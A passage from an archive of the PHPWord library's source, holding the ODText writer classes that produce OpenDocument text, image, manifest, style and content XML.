 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Element;

/**
 * TextBreak element writer.
 *
 * @since 0.10.0
 */
class TextBreak extends AbstractElement
{
    /**
     * Write element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startElement('text:p');
        $xmlWriter->writeAttribute('text:style-name', 'Standard');
        $xmlWriter->endElement();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Element/Image.php000066600000004473151150442730021426 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Element;

use PhpOffice\PhpWord\Shared\Converter;

/**
 * Image element writer.
 *
 * @since 0.10.0
 */
class Image extends AbstractElement
{
    /**
     * Write element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof \PhpOffice\PhpWord\Element\Image) {
            return;
        }

        $mediaIndex = $element->getMediaIndex();
        $target = 'Pictures/' . $element->getTarget();
        $style = $element->getStyle();
        $width = Converter::pixelToCm($style->getWidth());
        $height = Converter::pixelToCm($style->getHeight());

        $xmlWriter->startElement('text:p');
        $xmlWriter->writeAttribute('text:style-name', 'IM' . $mediaIndex);

        $xmlWriter->startElement('draw:frame');
        $xmlWriter->writeAttribute('draw:style-name', 'fr' . $mediaIndex);
        $xmlWriter->writeAttribute('draw:name', $element->getElementId());
        $xmlWriter->writeAttribute('text:anchor-type', 'as-char');
        $xmlWriter->writeAttribute('svg:width', $width . 'cm');
        $xmlWriter->writeAttribute('svg:height', $height . 'cm');
        $xmlWriter->writeAttribute('draw:z-index', $mediaIndex);

        $xmlWriter->startElement('draw:image');
        $xmlWriter->writeAttribute('xlink:href', $target);
        $xmlWriter->writeAttribute('xlink:type', 'simple');
        $xmlWriter->writeAttribute('xlink:show', 'embed');
        $xmlWriter->writeAttribute('xlink:actuate', 'onLoad');
        $xmlWriter->endElement(); // draw:image

        $xmlWriter->endElement(); // draw:frame

        $xmlWriter->endElement(); // text:p
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Part/Manifest.php000066600000006445151150442730021470 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Part;

use PhpOffice\PhpWord\Element\Formula;
use PhpOffice\PhpWord\Media;
use PhpOffice\PhpWord\Writer\ODText;

/**
 * ODText manifest part writer: META-INF/manifest.xml.
 */
class Manifest extends AbstractPart
{
    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startDocument('1.0', 'UTF-8');
        $xmlWriter->startElement('manifest:manifest');
        $xmlWriter->writeAttribute('manifest:version', '1.2');
        $xmlWriter->writeAttribute('xmlns:manifest', 'urn:oasis:names:tc:opendocument:xmlns:manifest:1.0');

        $xmlWriter->startElement('manifest:file-entry');
        $xmlWriter->writeAttribute('manifest:media-type', 'application/vnd.oasis.opendocument.text');
        $xmlWriter->writeAttribute('manifest:full-path', '/');
        $xmlWriter->writeAttribute('manifest:version', '1.2');
        $xmlWriter->endElement();

        // Parts
        foreach (['content.xml', 'meta.xml', 'styles.xml'] as $part) {
            $xmlWriter->startElement('manifest:file-entry');
            $xmlWriter->writeAttribute('manifest:media-type', 'text/xml');
            $xmlWriter->writeAttribute('manifest:full-path', $part);
            $xmlWriter->endElement();
        }

        // Media files
        $media = Media::getElements('section');
        foreach ($media as $medium) {
            if ($medium['type'] == 'image') {
                $xmlWriter->startElement('manifest:file-entry');
                $xmlWriter->writeAttribute('manifest:media-type', $medium['imageType']);
                $xmlWriter->writeAttribute('manifest:full-path', 'Pictures/' . $medium['target']);
                $xmlWriter->endElement();
            }
        }

        foreach ($this->getObjects() as $idxObject => $object) {
            if ($object instanceof Formula) {
                $xmlWriter->startElement('manifest:file-entry');
                $xmlWriter->writeAttribute('manifest:full-path', 'Formula' . $idxObject . '/content.xml');
                $xmlWriter->writeAttribute('manifest:media-type', 'text/xml');
                $xmlWriter->endElement();
                $xmlWriter->startElement('manifest:file-entry');
                $xmlWriter->writeAttribute('manifest:full-path', 'Formula' . $idxObject . '/');
                $xmlWriter->writeAttribute('manifest:version', '1.2');
                $xmlWriter->writeAttribute('manifest:media-type', 'application/vnd.oasis.opendocument.formula');
                $xmlWriter->endElement();
            }
        }

        $xmlWriter->endElement(); // manifest:manifest

        return $xmlWriter->getData();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Part/Mimetype.php000066600000001646151150442730021511 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Part;

/**
 * ODText mimetype part writer: mimetype.
 */
class Mimetype extends AbstractPart
{
    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        return 'application/vnd.oasis.opendocument.text';
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Part/Styles.php000066600000031003151150442730021171 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Part;

use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\Shared\Converter;
use PhpOffice\PhpWord\Shared\XMLWriter;
use PhpOffice\PhpWord\Style;

/**
 * ODText styles part writer: styles.xml.
 */
class Styles extends AbstractPart
{
    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $xmlWriter = $this->getXmlWriter();

        // XML header
        $xmlWriter->startDocument('1.0', 'UTF-8');
        $xmlWriter->startElement('office:document-styles');
        $this->writeCommonRootAttributes($xmlWriter);

        // Font declarations
        $this->writeFontFaces($xmlWriter);

        // Office styles
        $xmlWriter->startElement('office:styles');
        $this->writeDefault($xmlWriter);
        $this->writeNamed($xmlWriter);
        $xmlWriter->endElement();

        // Automatic styles
        $xmlWriter->startElement('office:automatic-styles');
        $this->writePageLayout($xmlWriter);
        $xmlWriter->endElement(); // office:automatic-styles

        // Master style
        $this->writeMaster($xmlWriter);

        $xmlWriter->endElement(); // office:document-styles

        return $xmlWriter->getData();
    }

    /**
     * Write default styles.
     */
    private function writeDefault(XMLWriter $xmlWriter): void
    {
        $xmlWriter->startElement('style:default-style');
        $xmlWriter->writeAttribute('style:family', 'paragraph');

        // Paragraph
        $xmlWriter->startElement('style:paragraph-properties');
        $xmlWriter->writeAttribute('fo:hyphenation-ladder-count', 'no-limit');
        $xmlWriter->writeAttribute('style:text-autospace', 'ideograph-alpha');
        $xmlWriter->writeAttribute('style:punctuation-wrap', 'hanging');
        $xmlWriter->writeAttribute('style:line-break', 'strict');
        $xmlWriter->writeAttribute('style:tab-stop-distance', '1.249cm');
        $xmlWriter->writeAttribute('style:writing-mode', 'page');
        $xmlWriter->endElement(); // style:paragraph-properties

        $language = $this->getParentWriter()->getPhpWord()->getSettings()->getThemeFontLang();
        $latinLang = $language != null && is_string($language->getLatin()) ? explode('-', $language->getLatin()) : ['fr', 'FR'];
        $asianLang = $language != null && is_string($language->getEastAsia()) ? explode('-', $language->getEastAsia()) : ['zh', 'CN'];
        $complexLang = $language != null && is_string($language->getBidirectional()) ? explode('-', $language->getBidirectional()) : ['hi', 'IN'];
        if ($this->getParentWriter()->getPhpWord()->getSettings()->hasHideGrammaticalErrors()) {
            $latinLang = $asianLang = $complexLang = ['zxx', 'none'];
        }

        // Font
        $xmlWriter->startElement('style:text-properties');
        $xmlWriter->writeAttribute('style:use-window-font-color', 'true');
        $xmlWriter->writeAttribute('style:font-name', Settings::getDefaultFontName());
        $xmlWriter->writeAttribute('fo:font-size', Settings::getDefaultFontSize() . 'pt');
        $xmlWriter->writeAttribute('fo:language', $latinLang[0]);
        $xmlWriter->writeAttribute('fo:country', $latinLang[1]);
        $xmlWriter->writeAttribute('style:letter-kerning', 'true');
        $xmlWriter->writeAttribute('style:font-name-asian', Settings::getDefaultFontName() . '2');
        $xmlWriter->writeAttribute('style:font-size-asian', Settings::getDefaultFontSize() . 'pt');
        $xmlWriter->writeAttribute('style:language-asian', $asianLang[0]);
        $xmlWriter->writeAttribute('style:country-asian', $asianLang[1]);
        $xmlWriter->writeAttribute('style:font-name-complex', Settings::getDefaultFontName() . '2');
        $xmlWriter->writeAttribute('style:font-size-complex', Settings::getDefaultFontSize() . 'pt');
        $xmlWriter->writeAttribute('style:language-complex', $complexLang[0]);
        $xmlWriter->writeAttribute('style:country-complex', $complexLang[1]);
        $xmlWriter->writeAttribute('fo:hyphenate', 'false');
        $xmlWriter->writeAttribute('fo:hyphenation-remain-char-count', '2');
        $xmlWriter->writeAttribute('fo:hyphenation-push-char-count', '2');
        $xmlWriter->endElement(); // style:text-properties

        $xmlWriter->endElement(); // style:default-style
    }

    /**
     * Write named styles.
     */
    private function writeNamed(XMLWriter $xmlWriter): void
    {
        $styles = Style::getStyles();
        if (count($styles) > 0) {
            foreach ($styles as $style) {
                if ($style->isAuto() === false) {
                    $styleClass = str_replace('\\Style\\', '\\Writer\\ODText\\Style\\', get_class($style));
                    if (class_exists($styleClass)) {
                        /** @var \PhpOffice\PhpWord\Writer\ODText\Style\AbstractStyle $styleWriter Type hint */
                        $styleWriter = new $styleClass($xmlWriter, $style);
                        $styleWriter->write();
                    }
                }
            }
        }
    }

    /**
     * Convert int in twips to inches/cm then to string and append unit.
     *
     * @param float|int $twips
     * @param float $factor
     * return string
     */
    private static function cvttwiptostr($twips, $factor = 1.0)
    {
        $ins = (string) ($twips * $factor / Converter::INCH_TO_TWIP) . 'in';
        $cms = (string) ($twips * $factor * Converter::INCH_TO_CM / Converter::INCH_TO_TWIP) . 'cm';

        return (strlen($ins) < strlen($cms)) ? $ins : $cms;
    }

    /**
     * call writePageLayoutIndiv to write page layout styles for each page.
     */
    private function writePageLayout(XMLWriter $xmlWriter): void
    {
        $sections = $this->getParentWriter()->getPhpWord()->getSections();
        $countsects = count($sections);
        for ($i = 0; $i < $countsects; ++$i) {
            $this->writePageLayoutIndiv($xmlWriter, $sections[$i], $i + 1);
        }
    }

    /**
     * Write page layout styles.
     *
     * @param \PhpOffice\PhpWord\Element\Section $section
     * @param int $sectionNbr
     */
    private function writePageLayoutIndiv(XMLWriter $xmlWriter, $section, $sectionNbr): void
    {
        $sty = $section->getStyle();
        if (count($section->getHeaders()) > 0) {
            $topfactor = 0.5;
        } else {
            $topfactor = 1.0;
        }
        if (count($section->getFooters()) > 0) {
            $botfactor = 0.5;
        } else {
            $botfactor = 1.0;
        }
        $orient = $sty->getOrientation();
        $pwidth = self::cvttwiptostr($sty->getPageSizeW());
        $pheight = self::cvttwiptostr($sty->getPageSizeH());
        $mtop = self::cvttwiptostr($sty->getMarginTop(), $topfactor);
        $mbottom = self::cvttwiptostr($sty->getMarginBottom(), $botfactor);
        $mleft = self::cvttwiptostr($sty->getMarginRight());
        $mright = self::cvttwiptostr($sty->getMarginLeft());

        $xmlWriter->startElement('style:page-layout');
        $xmlWriter->writeAttribute('style:name', "Mpm$sectionNbr");

        $xmlWriter->startElement('style:page-layout-properties');
        $xmlWriter->writeAttribute('fo:page-width', $pwidth);
        $xmlWriter->writeAttribute('fo:page-height', $pheight);
        $xmlWriter->writeAttribute('style:num-format', '1');
        $xmlWriter->writeAttribute('style:print-orientation', $orient);
        $xmlWriter->writeAttribute('fo:margin-top', $mtop);
        $xmlWriter->writeAttribute('fo:margin-bottom', $mbottom);
        $xmlWriter->writeAttribute('fo:margin-left', $mleft);
        $xmlWriter->writeAttribute('fo:margin-right', $mright);
        $xmlWriter->writeAttribute('style:writing-mode', 'lr-tb');
        $xmlWriter->writeAttribute('style:layout-grid-color', '#c0c0c0');
        $xmlWriter->writeAttribute('style:layout-grid-lines', '25199');
        $xmlWriter->writeAttribute('style:layout-grid-base-height', '0.423cm');
        $xmlWriter->writeAttribute('style:layout-grid-ruby-height', '0cm');
        $xmlWriter->writeAttribute('style:layout-grid-mode', 'none');
        $xmlWriter->writeAttribute('style:layout-grid-ruby-below', 'false');
        $xmlWriter->writeAttribute('style:layout-grid-print', 'false');
        $xmlWriter->writeAttribute('style:layout-grid-display', 'false');
        $xmlWriter->writeAttribute('style:layout-grid-base-width', '0.37cm');
        $xmlWriter->writeAttribute('style:layout-grid-snap-to', 'true');
        $xmlWriter->writeAttribute('style:footnote-max-height', '0cm');

        $xmlWriter->startElement('style:footnote-sep');
        $xmlWriter->writeAttribute('style:width', '0.018cm');
        $xmlWriter->writeAttribute('style:line-style', 'solid');
        $xmlWriter->writeAttribute('style:adjustment', 'left');
        $xmlWriter->writeAttribute('style:rel-width', '25%');
        $xmlWriter->writeAttribute('style:color', '#000000');
        $xmlWriter->endElement(); //style:footnote-sep

        $xmlWriter->endElement(); // style:page-layout-properties

        $xmlWriter->startElement('style:header-style');
        if ($topfactor < 1.0) {
            $xmlWriter->startElement('style:header-footer-properties');
            $xmlWriter->writeAttribute('fo:min-height', $mtop);
            $xmlWriter->writeAttribute('fo:margin-bottom', $mtop);
            $xmlWriter->writeAttribute('style:dynamic-spacing', 'true');
            $xmlWriter->endElement(); // style:header-footer-properties
        }
        $xmlWriter->endElement(); // style:header-style

        $xmlWriter->startElement('style:footer-style');
        if ($botfactor < 1.0) {
            $xmlWriter->startElement('style:header-footer-properties');
            $xmlWriter->writeAttribute('fo:min-height', $mbottom);
            $xmlWriter->writeAttribute('fo:margin-top', $mbottom);
            $xmlWriter->writeAttribute('style:dynamic-spacing', 'true');
            $xmlWriter->endElement(); // style:header-footer-properties
        }
        $xmlWriter->endElement(); // style:footer-style

        $xmlWriter->endElement(); // style:page-layout
    }

    /**
     * Write master style.
     */
    private function writeMaster(XMLWriter $xmlWriter): void
    {
        $xmlWriter->startElement('office:master-styles');

        $sections = $this->getParentWriter()->getPhpWord()->getSections();
        $countsects = count($sections);
        for ($i = 0; $i < $countsects; ++$i) {
            $iplus1 = $i + 1;
            $xmlWriter->startElement('style:master-page');
            $xmlWriter->writeAttribute('style:name', "Standard$iplus1");
            $xmlWriter->writeAttribute('style:page-layout-name', "Mpm$iplus1");
            // Multiple headers and footers probably not supported,
            //   and, even if they are, I'm not sure how,
            //   so quit after generating one.
            foreach ($sections[$i]->getHeaders() as $hdr) {
                $xmlWriter->startElement('style:header');
                foreach ($hdr->getElements() as $elem) {
                    $cl1 = get_class($elem);
                    $cl2 = str_replace('\\Element\\', '\\Writer\\ODText\\Element\\', $cl1);
                    if (class_exists($cl2)) {
                        $wtr = new $cl2($xmlWriter, $elem);
                        $wtr->write();
                    }
                }
                $xmlWriter->endElement(); // style:header

                break;
            }
            foreach ($sections[$i]->getFooters() as $hdr) {
                $xmlWriter->startElement('style:footer');
                foreach ($hdr->getElements() as $elem) {
                    $cl1 = get_class($elem);
                    $cl2 = str_replace('\\Element\\', '\\Writer\\ODText\\Element\\', $cl1);
                    if (class_exists($cl2)) {
                        $wtr = new $cl2($xmlWriter, $elem);
                        $wtr->write();
                    }
                }
                $xmlWriter->endElement(); // style:footer

                break;
            }
            $xmlWriter->endElement(); // style:master-page
        }
        $xmlWriter->endElement(); // office:master-styles
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Part/Content.php000066600000037552151150442730021337 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Part;

use PhpOffice\PhpWord\Element\AbstractContainer;
use PhpOffice\PhpWord\Element\Field;
use PhpOffice\PhpWord\Element\Image;
use PhpOffice\PhpWord\Element\Table;
use PhpOffice\PhpWord\Element\Text;
use PhpOffice\PhpWord\Element\TextRun;
use PhpOffice\PhpWord\Element\TrackChange;
use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Shared\XMLWriter;
use PhpOffice\PhpWord\Style;
use PhpOffice\PhpWord\Style\Font;
use PhpOffice\PhpWord\Style\Paragraph;
use PhpOffice\PhpWord\Style\Table as TableStyle;
use PhpOffice\PhpWord\Writer\ODText\Element\Container;
use PhpOffice\PhpWord\Writer\ODText\Style\Paragraph as ParagraphStyleWriter;

/**
 * ODText content part writer: content.xml.
 */
class Content extends AbstractPart
{
    /**
     * Auto style collection.
     *
     * Collect inline style information from section, image, and table elements
     *
     * @todo Merge font and paragraph styles
     *
     * @var array
     */
    private $autoStyles = ['Section' => [], 'Image' => [], 'Table' => []];

    private $imageParagraphStyles = [];

    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $xmlWriter = $this->getXmlWriter();
        $phpWord = $this->getParentWriter()->getPhpWord();

        $this->getAutoStyles($phpWord);

        $xmlWriter->startDocument('1.0', 'UTF-8');
        $xmlWriter->startElement('office:document-content');
        $this->writeCommonRootAttributes($xmlWriter);
        $xmlWriter->writeAttribute('xmlns:xforms', 'http://www.w3.org/2002/xforms');
        $xmlWriter->writeAttribute('xmlns:xsd', 'http://www.w3.org/2001/XMLSchema');
        $xmlWriter->writeAttribute('xmlns:xsi', 'http://www.w3.org/2001/XMLSchema-instance');
        $xmlWriter->writeAttribute('xmlns:field', 'urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0');
        $xmlWriter->writeAttribute('xmlns:formx', 'urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0');

        // Font declarations and automatic styles
        $this->writeFontFaces($xmlWriter); // office:font-face-decls
        $this->writeAutoStyles($xmlWriter); // office:automatic-styles

        // Body
        $xmlWriter->startElement('office:body');
        $xmlWriter->startElement('office:text');

        // Tracked changes declarations
        $trackedChanges = [];
        $sections = $phpWord->getSections();
        foreach ($sections as $section) {
            $this->collectTrackedChanges($section, $trackedChanges);
        }
        $xmlWriter->startElement('text:tracked-changes');
        foreach ($trackedChanges as $trackedElement) {
            $trackedChange = $trackedElement->getTrackChange();
            $xmlWriter->startElement('text:changed-region');
            $trackedChange->setElementId();
            $xmlWriter->writeAttribute('text:id', $trackedChange->getElementId());

            if (($trackedChange->getChangeType() == TrackChange::INSERTED)) {
                $xmlWriter->startElement('text:insertion');
            } elseif ($trackedChange->getChangeType() == TrackChange::DELETED) {
                $xmlWriter->startElement('text:deletion');
            }

            $xmlWriter->startElement('office:change-info');
            $xmlWriter->writeElement('dc:creator', $trackedChange->getAuthor());
            if ($trackedChange->getDate() != null) {
                $xmlWriter->writeElement('dc:date', $trackedChange->getDate()->format('Y-m-d\TH:i:s\Z'));
            }
            $xmlWriter->endElement(); // office:change-info
            if ($trackedChange->getChangeType() == TrackChange::DELETED) {
                $xmlWriter->writeElement('text:p', $trackedElement->getText());
            }

            $xmlWriter->endElement(); // text:insertion|text:deletion
            $xmlWriter->endElement(); // text:changed-region
        }
        $xmlWriter->endElement(); // text:tracked-changes

        // Sequence declarations
        $sequences = ['Illustration', 'Table', 'Text', 'Drawing'];
        $xmlWriter->startElement('text:sequence-decls');
        foreach ($sequences as $sequence) {
            $xmlWriter->startElement('text:sequence-decl');
            $xmlWriter->writeAttribute('text:display-outline-level', 0);
            $xmlWriter->writeAttribute('text:name', $sequence);
            $xmlWriter->endElement();
        }
        $xmlWriter->endElement(); // text:sequence-decl

        // Sections
        $sections = $phpWord->getSections();
        foreach ($sections as $section) {
            $name = 'Section' . $section->getSectionId();
            $xmlWriter->startElement('text:section');
            $xmlWriter->writeAttribute('text:name', $name);
            $xmlWriter->writeAttribute('text:style-name', $name);
            $xmlWriter->startElement('text:p');
            $xmlWriter->writeAttribute('text:style-name', 'SB' . $section->getSectionId());
            $xmlWriter->endElement();

            $containerWriter = new Container($xmlWriter, $section);
            $containerWriter->setPart($this);
            $containerWriter->write();

            $xmlWriter->endElement(); // text:section
        }

        $xmlWriter->endElement(); // office:text
        $xmlWriter->endElement(); // office:body

        $xmlWriter->endElement(); // office:document-content

        return $xmlWriter->getData();
    }

    /**
     * Write automatic styles other than fonts and paragraphs.
     *
     * @since 0.11.0
     */
    private function writeAutoStyles(XMLWriter $xmlWriter): void
    {
        $xmlWriter->startElement('office:automatic-styles');

        $this->writeTextStyles($xmlWriter);
        foreach ($this->autoStyles as $element => $styles) {
            $writerClass = 'PhpOffice\\PhpWord\\Writer\\ODText\\Style\\' . $element;
            foreach ($styles as $style) {
                /** @var \PhpOffice\PhpWord\Writer\ODText\Style\AbstractStyle $styleWriter Type hint */
                $styleWriter = new $writerClass($xmlWriter, $style);
                $styleWriter->write();
            }
        }

        $xmlWriter->endElement(); // office:automatic-styles
    }

    /**
     * Write automatic styles.
     */
    private function writeTextStyles(XMLWriter $xmlWriter): void
    {
        $styles = Style::getStyles();
        $paragraphStyleCount = 0;

        $style = new Paragraph();
        $style->setStyleName('PB');
        $style->setAuto();
        $styleWriter = new ParagraphStyleWriter($xmlWriter, $style);
        $styleWriter->write();

        $sects = $this->getParentWriter()->getPhpWord()->getSections();
        $countsects = count($sects);
        for ($i = 0; $i < $countsects; ++$i) {
            $iplus1 = $i + 1;
            $style = new Paragraph();
            $style->setStyleName("SB$iplus1");
            $style->setAuto();
            $pnstart = $sects[$i]->getStyle()->getPageNumberingStart();
            $style->setNumLevel($pnstart);
            $styleWriter = new ParagraphStyleWriter($xmlWriter, $style);
            $styleWriter->write();
        }

        foreach ($styles as $style) {
            $sty = (string) $style->getStyleName();
            if (substr($sty, 0, 8) === 'Heading_') {
                $style = new Paragraph();
                $style->setStyleName('HD' . substr($sty, 8));
                $style->setAuto();
                $styleWriter = new ParagraphStyleWriter($xmlWriter, $style);
                $styleWriter->write();
                $style = new Paragraph();
                $style->setStyleName('HE' . substr($sty, 8));
                $style->setAuto();
                $styleWriter = new ParagraphStyleWriter($xmlWriter, $style);
                $styleWriter->write();
            }
        }

        foreach ($styles as $style) {
            if ($style->isAuto() === true) {
                $styleClass = str_replace('\\Style\\', '\\Writer\\ODText\\Style\\', get_class($style));
                if (class_exists($styleClass)) {
                    /** @var \PhpOffice\PhpWord\Writer\ODText\Style\AbstractStyle $styleWriter Type hint */
                    $styleWriter = new $styleClass($xmlWriter, $style);
                    $styleWriter->write();
                }
                if ($style instanceof Paragraph) {
                    ++$paragraphStyleCount;
                }
            }
        }
        foreach ($this->imageParagraphStyles as $style) {
            $styleWriter = new \PhpOffice\PhpWord\Writer\ODText\Style\Paragraph($xmlWriter, $style);
            $styleWriter->write();
        }
    }

    /**
     * Get automatic styles.
     */
    private function getAutoStyles(PhpWord $phpWord): void
    {
        $sections = $phpWord->getSections();
        $paragraphStyleCount = 0;
        $fontStyleCount = 0;
        foreach ($sections as $section) {
            $style = $section->getStyle();
            $style->setStyleName("Section{$section->getSectionId()}");
            $this->autoStyles['Section'][] = $style;
            $this->getContainerStyle($section, $paragraphStyleCount, $fontStyleCount);
        }
    }

    /**
     * Get all styles of each elements in container recursively.
     *
     * Table style can be null or string of the style name
     *
     * @param \PhpOffice\PhpWord\Element\AbstractContainer $container
     * @param int $paragraphStyleCount
     * @param int $fontStyleCount
     *
     * @todo Simplify the logic
     */
    private function getContainerStyle($container, &$paragraphStyleCount, &$fontStyleCount): void
    {
        $elements = $container->getElements();
        foreach ($elements as $element) {
            if ($element instanceof TextRun) {
                $this->getElementStyleTextRun($element, $paragraphStyleCount);
                $this->getContainerStyle($element, $paragraphStyleCount, $fontStyleCount);
            } elseif ($element instanceof Text) {
                $this->getElementStyle($element, $paragraphStyleCount, $fontStyleCount);
            } elseif ($element instanceof Field) {
                $this->getElementStyleField($element, $fontStyleCount);
            } elseif ($element instanceof Image) {
                $style = $element->getStyle();
                $style->setStyleName('fr' . $element->getMediaIndex());
                $this->autoStyles['Image'][] = $style;
                $sty = new \PhpOffice\PhpWord\Style\Paragraph();
                $sty->setStyleName('IM' . $element->getMediaIndex());
                $sty->setAuto();
                $sty->setAlignment($style->getAlignment());
                $this->imageParagraphStyles[] = $sty;
            } elseif ($element instanceof Table) {
                $style = $element->getStyle();
                if (is_string($style)) {
                    $style = Style::getStyle($style);
                }
                if ($style === null) {
                    $style = new TableStyle();
                }
                $style->setStyleName($element->getElementId());
                $style->setColumnWidths($element->findFirstDefinedCellWidths());
                $this->autoStyles['Table'][] = $style;
            }
        }
    }

    /**
     * Get style of individual element.
     *
     * @param \PhpOffice\PhpWord\Element\Text $element
     * @param int $paragraphStyleCount
     * @param int $fontStyleCount
     */
    private function getElementStyle($element, &$paragraphStyleCount, &$fontStyleCount): void
    {
        $fontStyle = $element->getFontStyle();
        $paragraphStyle = $element->getParagraphStyle();
        $phpWord = $this->getParentWriter()->getPhpWord();

        if ($fontStyle instanceof Font) {
            // Font
            $name = $fontStyle->getStyleName();
            if (!$name) {
                ++$fontStyleCount;
                $style = $phpWord->addFontStyle("T{$fontStyleCount}", $fontStyle, null);
                $style->setAuto();
                $style->setParagraph(null);
                $element->setFontStyle("T{$fontStyleCount}");
            } else {
                $element->setFontStyle($name);
            }
        }
        if ($paragraphStyle instanceof Paragraph) {
            // Paragraph
            $name = $paragraphStyle->getStyleName();
            if (!$name) {
                ++$paragraphStyleCount;
                $style = $phpWord->addParagraphStyle("P{$paragraphStyleCount}", $paragraphStyle);
                $style->setAuto();
                $element->setParagraphStyle("P{$paragraphStyleCount}");
            } else {
                $element->setParagraphStyle($name);
            }
        } elseif ($paragraphStyle) {
            ++$paragraphStyleCount;
            $parstylename = "P$paragraphStyleCount" . "_$paragraphStyle";
            $style = $phpWord->addParagraphStyle($parstylename, $paragraphStyle);
            $style->setAuto();
            $element->setParagraphStyle($parstylename);
        }
    }

    /**
     * Get font style of individual field element.
     *
     * @param \PhpOffice\PhpWord\Element\Field $element
     * @param int $fontStyleCount
     */
    private function getElementStyleField($element, &$fontStyleCount): void
    {
        $fontStyle = $element->getFontStyle();
        $phpWord = $this->getParentWriter()->getPhpWord();

        if ($fontStyle instanceof Font) {
            $name = $fontStyle->getStyleName();
            if (!$name) {
                ++$fontStyleCount;
                $style = $phpWord->addFontStyle("T{$fontStyleCount}", $fontStyle, null);
                $style->setAuto();
                $style->setParagraph(null);
                $element->setFontStyle("T{$fontStyleCount}");
            } else {
                $element->setFontStyle($name);
            }
        }
    }

    /**
     * Get style of individual element.
     *
     * @param \PhpOffice\PhpWord\Element\TextRun $element
     * @param int $paragraphStyleCount
     */
    private function getElementStyleTextRun($element, &$paragraphStyleCount): void
    {
        $paragraphStyle = $element->getParagraphStyle();
        $phpWord = $this->getParentWriter()->getPhpWord();

        if ($paragraphStyle instanceof Paragraph) {
            // Paragraph
            $name = $paragraphStyle->getStyleName();
            if (!$name) {
                ++$paragraphStyleCount;
                $style = $phpWord->addParagraphStyle("P{$paragraphStyleCount}", $paragraphStyle);
                $style->setAuto();
                $element->setParagraphStyle("P{$paragraphStyleCount}");
            } else {
                $element->setParagraphStyle($name);
            }
        } elseif ($paragraphStyle) {
            ++$paragraphStyleCount;
            $parstylename = "P$paragraphStyleCount" . "_$paragraphStyle";
            $style = $phpWord->addParagraphStyle($parstylename, $paragraphStyle);
            $style->setAuto();
            $element->setParagraphStyle($parstylename);
        }
    }

    /**
     * Finds all tracked changes.
     *
     * @param \PhpOffice\PhpWord\Element\AbstractElement[] $trackedChanges
     */
    private function collectTrackedChanges(AbstractContainer $container, &$trackedChanges = []): void
    {
        $elements = $container->getElements();
        foreach ($elements as $element) {
            if ($element->getTrackChange() != null) {
                $trackedChanges[] = $element;
            }
            if (is_callable([$element, 'getElements'])) {
                $this->collectTrackedChanges($element, $trackedChanges);
            }
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Part/Meta.php000066600000010002151150442730020570 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
